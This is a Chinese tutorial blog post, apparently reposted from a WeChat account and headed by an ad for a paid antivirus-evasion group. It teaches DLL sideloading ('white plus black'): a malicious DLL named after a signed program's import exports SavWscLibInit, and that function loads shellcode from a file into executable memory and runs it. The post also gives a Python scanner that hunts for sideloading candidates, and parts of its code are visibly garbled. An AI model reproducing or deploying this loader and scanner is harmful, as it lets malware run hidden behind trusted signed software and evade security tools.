欢迎加入我的知识星球,目前正在更新免杀相关的东西,129/永久,每100人加29,每周更新2-3篇上千字PDF文档。文档中会详细描述。目前已更新83+ PDF文档
加好友备注(星球)!!!
一些资源的截图:
白加黑这个东西已经不知道被说烂多少回了,每次提到免杀这个话题的时候,大家都会讲白加黑这个东西。
本节话我们来聊聊白加黑这个东西,以及如何快速去挖白加黑。
白加黑顾名思义就是白程序去加一个黑DLL,那么其实白程序的话都是有数字签名的程序且是正常有效的。
类似于如下这张图:
那么黑DLL其实就是你的恶意DLL,至于你DLL里面写什么这就是你自己的事情了。
我们废话不多说,我给大家把实战中常用的白加黑方式讲出来就行了,至于DLL劫持啊,DLL的搜索顺序啊,自行百度好吧,这一点我觉得没意义,因为很多文章已经说过了。
我们之前都讲过动态链接库吧,我们都知道我们可以去创建一个动态链接库DLL,那么你创建的这个动态链接库DLL其实会给你一个入口函数,也就是DllMain函数,这个DllMain函数我们当时也分析过,他有几个CASE选项对吧,拿第一个来说,如果应用程序将其加载到地址空间之后就会执行。
如下代码示例:
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
那么现在很多网上的教程都是将你的loader或者shellcode放到dllMain中,然后通过创建线程,指向shellcode内存区域的方式来执行。
这种方式可以吗?可以,没什么问题,但是我们本节课不会去将shellcode或者loader放到DllMain中。
我们再将动态链接库的时候,是不是讲过导出函数对吧。
那么我们可以在DLL中去导出我们想要的函数,然后在应用程序中去通过LoadLibrary和GetProcAddress的方式获取到导出函数的地址,然后调用。
如下图:
大概图就是上面这样。
也就是说我们只要获取到函数地址之后就可以去调用DLL中的导出函数了。
那么我们思考一下,EXE白程序我们是可控的吗???
比如我们自己的应用程序,也就是上面图中的第一块,我们在自己的应用程序中加载了dll1.dll这个模块。
比如说我们自己的应用程序是一个拥有数字签名的白程序,而我们现在只有这个应用从程序,我们不知道他导入了哪些DLL。
那么我们是不是可以通过dumpbin的方式来查看他导出了哪些DLL。
但是我们需要注意的是EXE程序我们是无法更改的,就算更改掉一些资源文件,那么签名也会立即失效的,当时我们已经讲过PE结构了。
它里面是有一个校验值的。
所以现在EXE程序我们无法修改,那么DLL呢?你怎么知道EXE程序加载了那个DLL???那么就如上面所说的通过dumpbin的方式来查看。
那么你知道了DLL的名字之后呢?那他这个DLL中写了什么呢?比如说导出函数??
就好比我们之前的那个应用程序一样,里面去加载dll1.dll,然后使用了dll1.dll中的test导出函数对吧。
那么我们现在只需要知道他导出的这个dll中的导出函数有哪些就可以了,然后我们将其导出函数放到我们的恶意dll中定义,定义之后看这个应用程序调用了那个导出函数,然后你就讲loader或者shellcode放到这个导出函数中就可以了。
首先我们来获取这个exe程序中导入了哪些DLL。
dumpbin /imports xxx.exe
#include <windows.h>
int main() {
HMODULE hModule = LoadLibraryA("C:\Users\Administrator\source\repos\Dll1\x64\Debug\Dll1.dll");
typedef void (*test)();
test MyFunction = (test)GetProcAddress(hModule, "test");
MyFunction();
return 0;
}
但是我们会发现其中是没有我们dll1.dll的,这是为什么呢?这是因为LoadLibrary是动态加载我们dll的,而dumpbin这种方式分析的是静态的依赖。所以我们通过dumpbin是无法获取的。
我们可以查看其他一些文件导入的DLL。
可以看到这里导入了sfe_wscctrl.dll。
那么我们肯定要排除一些系统默认加载的DLL,比如kernel32.dll,ntdll.dll,这些dll因为是默认加载的所以我们是不需要去管的。
那么我们获取到这些DLL之后呢,是不是要获取到他DLL中的导出函数了。
细心的师傅已经看到了这里有一个SavWscLibInit函数,这个函数就是导出函数,我们只需要去创建一个动态链接库,然后将这个函数定义为导出函数即可。
如下图:
那么也就是当exe启动的时候,如果调用了SavWscLibInit函数,那么我们这个dll中的这个导出函数就会执行。
需要注意的是讲dll需要命名为sfe_wscctrl.dll。
可以看到成功弹框。
那么其实我们就可以将Shellcode或者Loader写入到SavWscLibInit函数中了。
比如说我们写一个非常简单的loader。
如下代码:
这是一个将shellcode从文件中读取出来,然后申请一块内存,最后通过指针执行的代码。
DWORD dwSize;
DWORD dwReadSize;
HANDLE hFileNew;
hFileNew = CreateFile(L"code.bin", GENERIC_ALL, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFileNew == INVALID_HANDLE_VALUE)
{
return 0;
}
dwSize = GetFileSize(hFileNew, NULL);
void* exec = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
ReadFile(hFileNew, exec, dwSize, &dwReadSize, NULL);
((void(*)())exec)();
return 0;
我们将其代码放到导出函数中。
如下完整代码:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
extern "C" __declspec(dllexport) int SavWscLibInit() {
DWORD dwSize;
DWORD dwReadSize;
HANDLE hFileNew;
hFileNew = CreateFile(L"code.bin", GENERIC_ALL, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFileNew == INVALID_HANDLE_VALUE)
{
return 0;
}
dwSize = GetFileSize(hFileNew, NULL);
void* exec = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
ReadFile(hFileNew, exec, dwSize, &dwReadSize, NULL);
((void(*)())exec)();
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
那么当exe调用了这个导出函数的时候就会执行我们的loader程序。
我们准备一个calc的shellcode即可。
可以看到当我们执行exe的时候就会加载我们刚才生成的dll,并调用SavWscLibInit导出函数。
而调用SavWscLibInit导出函数将加载我们的code.bin文件。
接下来我们来看看如何去挖掘。
那么其实如何去挖掘的话,也非常简单,网上很多教程都是让你通过procexp64这个工具去挖的,查找缺少的DLL。
这种方式去挖掘可以吗?可以没什么问题,但是这种效率太慢了。
那么我们其实可以重复我们上面的步骤,比如使用dumpbin.exe 先去获取到导入dll模块的名称,然后查看他的导出函数,最后生成一组代码即可。
其实github上有一款工具是就是遵循这个原理去挖掘的,这里给大家去介绍一下:
如下github地址:
https://github.com/HackerCalico/Unique_DLL_Hijacking_Scan
这个大佬写的这个是没有任何问题的,大家可以去给他点点stars。
但是我把他的代码稍微改了一下:
判断了一下获取到的dll如果开头为API以及结尾为HELP或API直接丢弃掉,然后就是判断导出的dll如果大于1个那么也丢弃掉,因为白加黑只需要一个dll,如果导出来太多dll的话没啥用。
如下修改后的代码:
import os
import re
import sys
def GetPayload(path, exeName):
whiteDLLs = {}
exeFullPath = path + '\' + exeName
# 获取导入表
imports = os.popen('dumpbin /imports "' + exeFullPath + '"').read()
# 匹配DLL信息
dlls = re.findall('[S]+.[dllDLL]{3}[sS]+?nn[sS]+?nn', imports)
dllnames = []
for dll in dlls:
if '?' not in dll:
dllName = re.findall('[S]+.[dllDLL]{3}', dll)[0]
dllnames.append(dllName)
print(dllnames)
#print(dllnames)
# 排除微软DLL
if len(dllnames) <= 1:
for i in dllnames:
if i.startswith("api") or i.split('.')[0].endswith("32") or i == "IPHLPAPI.dll" or i.split('.')[0].endswith("API"):
continue
exist = False
for msDLL in msDLLs:
if msDLL.lower() == i.lower():
exist = True
break
if not exist:
dllFunctions = re.findall('nn[sS]+', dll)[0]
dllFunctions = re.findall('[0-9A-F]
展开收缩([S]+)n', dllFunctions)whiteDLLs[i] = dllFunctions
# 生成Payload
if whiteDLLs:
print(exeFullPath)
# 获取EXE信息
exeSize = os.path.getsize(exeFullPath)
if exeSize > 1048576:
exeSize = str(round(exeSize / 1048576, 2)) + 'MB'
elif exeSize > 1024:
exeSize = str(round(exeSize / 1024, 2)) + 'KB'
else:
exeSize = str(round(exeSize, 2)) + 'B'
sigcheck = os.popen('sigcheck64 "' + exeFullPath + '"').read()
exeMachineType = re.findall('MachineType:
展开收缩+([S]+)', sigcheck)[0]if exeMachineType == '64-bit':
bit = 'x64'
else:
bit = 'x86'
exePublisher = re.findall('Publisher:
展开收缩+([S]+)', sigcheck)[0]if exePublisher == 'n/a':
signature = ''
payload = [bit + ' ' + exeSize + ' 无数字签名 ' + exeName]
else:
signature = '数字签名'
payload = [bit + ' ' + exeSize + ' 有数字签名 ' + exeName]
# 生成导出函数
for dllName, dllFunctions in whiteDLLs.items():
payload += ['n' + dllName]
for dllFunction in dllFunctions:
payload += [
'extern "C" __declspec(dllexport) int ' + dllFunction + '() {n MessageBoxA(NULL, "' + dllFunction + '",0,0);return 0;n}']
# 写入文件
name = bit + ' ' + exeSize + ' ' + signature + ' ' + exeName
try:
os.mkdir('Payload')
except:
pass
try:
os.mkdir('Payload\' + name)
except:
pass
with open('Payload\' + name + '\' + name + '.txt', 'w') as f:
f.write('n'.join(payload))
os.popen('copy "' + exeFullPath + '" "' + os.getcwd() + '\Payload\' + name + '"')
# 遍历目录
def Collect(path):
try:
for fileName in os.listdir(path):
if os.path.isfile(path + '\' + fileName): # 文件
if fileName[-4:] == '.exe':
GetPayload(path, fileName) # DLL劫持挖掘
elif os.path.isdir(path + '\' + fileName): # 文件夹
Collect(path + '\' + fileName)
except:
pass
# 获取微软DLL
with open('MS DLL.txt', 'r') as f:
msDLLs = f.read().splitlines()
# 收集EXE
if len(sys.argv) == 2:
Collect(sys.argv[1])
else:
print('Usage: python scan.py "D:\\"')
那么这个工具如何去使用呢?
非常简单,我们只需要将dumpbin.exe,link.exe,sigcheck64.exe放到我们的环境变量就可以了。
那么这个sigcheck64.exe这个文件是做什么的呢?这个文件是用于检测目标文件是否签名。
文件可以去那个大佬的github地址下载哈。
python scans.py "C:\
当我们拿到dll的名字以及导出函数的名称之后,我们就可以去创建一个动态链接库,然后将其导出函数写入到里面,生成之后更改其名字为icuuc74.dll文件即可。
然后双击exe看那个导出函数调用了,之后将loader或shellcode写入到此函数即可使用。
如上就是白加黑常见利用方式和原理以及如何挖掘。
原文始发于微信公众号(Relay学安全):白加黑详解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论